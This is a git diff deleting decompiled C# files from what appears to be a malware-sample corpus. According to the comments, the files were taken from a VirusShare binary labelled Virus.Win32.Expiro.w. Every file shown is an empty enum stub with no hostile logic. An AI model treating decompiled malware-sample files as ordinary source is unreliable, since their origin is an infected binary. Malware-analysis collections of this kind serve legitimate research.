b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagCOINIT.cs deleted file mode 100644 index 2f8d4937..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagCOINIT.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagCOINIT -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum tagCOINIT -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagCOMSD.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagCOMSD.cs deleted file mode 100644 index a193acf2..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagCOMSD.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagCOMSD -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum tagCOMSD -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagCONDITION_OPERATION.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagCONDITION_OPERATION.cs deleted file mode 100644 index bf4e3a1e..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagCONDITION_OPERATION.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagCONDITION_OPERATION -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum tagCONDITION_OPERATION -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagCONDITION_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagCONDITION_TYPE.cs deleted file mode 100644 index 056bd4ea..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagCONDITION_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagCONDITION_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum tagCONDITION_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagCOWAIT_FLAGS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagCOWAIT_FLAGS.cs deleted file mode 100644 index 70cd2e6d..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagCOWAIT_FLAGS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagCOWAIT_FLAGS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(64)] -internal enum tagCOWAIT_FLAGS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagCPVIEW.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagCPVIEW.cs deleted file mode 100644 index e12ee4e5..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagCPVIEW.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagCPVIEW -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum tagCPVIEW -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagCTRLINFO.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagCTRLINFO.cs deleted file mode 100644 index a7113002..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagCTRLINFO.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagCTRLINFO -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum tagCTRLINFO -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagDATADIR.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagDATADIR.cs deleted file mode 100644 index b0285249..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagDATADIR.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagDATADIR -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum tagDATADIR -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagDCOM_CALL_STATE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagDCOM_CALL_STATE.cs deleted file mode 100644 index 130078b5..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagDCOM_CALL_STATE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagDCOM_CALL_STATE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(64)] -internal enum tagDCOM_CALL_STATE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagDESCKIND.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagDESCKIND.cs deleted file mode 100644 index 2067793a..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagDESCKIND.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagDESCKIND -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum tagDESCKIND -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagDESKBANDCID.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagDESKBANDCID.cs deleted file mode 100644 index 2efd32ad..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagDESKBANDCID.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagDESKBANDCID -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum tagDESKBANDCID -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagDISCARDCACHE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagDISCARDCACHE.cs deleted file mode 100644 index 80342ab3..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagDISCARDCACHE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagDISCARDCACHE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum tagDISCARDCACHE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagDOMNodeType.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagDOMNodeType.cs deleted file mode 100644 index f621c7ab..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagDOMNodeType.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagDOMNodeType -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum tagDOMNodeType -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagDVASPECT.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagDVASPECT.cs deleted file mode 100644 index 91270621..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagDVASPECT.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagDVASPECT -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum tagDVASPECT -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagDVASPECT2.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagDVASPECT2.cs deleted file mode 100644 index 85daaf20..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagDVASPECT2.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagDVASPECT2 -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum tagDVASPECT2 -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagEOLE_AUTHENTICATION_CAPABILITIES.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagEOLE_AUTHENTICATION_CAPABILITIES.cs deleted file mode 100644 index 8ec0117d..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagEOLE_AUTHENTICATION_CAPABILITIES.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagEOLE_AUTHENTICATION_CAPABILITIES -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum tagEOLE_AUTHENTICATION_CAPABILITIES -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagEXPCMDFLAGS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagEXPCMDFLAGS.cs deleted file mode 100644 index e18ad3ff..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagEXPCMDFLAGS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagEXPCMDFLAGS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum tagEXPCMDFLAGS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagEXPCMDSTATE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagEXPCMDSTATE.cs deleted file mode 100644 index a4950f4f..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagEXPCMDSTATE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagEXPCMDSTATE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum tagEXPCMDSTATE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagEXTCONN.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagEXTCONN.cs deleted file mode 100644 index 0e3f21af..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagEXTCONN.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagEXTCONN -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum tagEXTCONN -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagExtendedErrorParamTypes.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagExtendedErrorParamTypes.cs deleted file mode 100644 index c247ef42..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagExtendedErrorParamTypes.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagExtendedErrorParamTypes -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum tagExtendedErrorParamTypes -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagExtentMode.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagExtentMode.cs deleted file mode 100644 index c0e9f1b7..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagExtentMode.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagExtentMode -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum tagExtentMode -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagFOLDERFLAGS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagFOLDERFLAGS.cs deleted file mode 100644 index 35f6b5ab..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagFOLDERFLAGS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagFOLDERFLAGS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum tagFOLDERFLAGS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagFOLDERVIEWMODE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagFOLDERVIEWMODE.cs deleted file mode 100644 index f58fc3cb..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagFOLDERVIEWMODE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagFOLDERVIEWMODE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum tagFOLDERVIEWMODE -{ -} diff --git 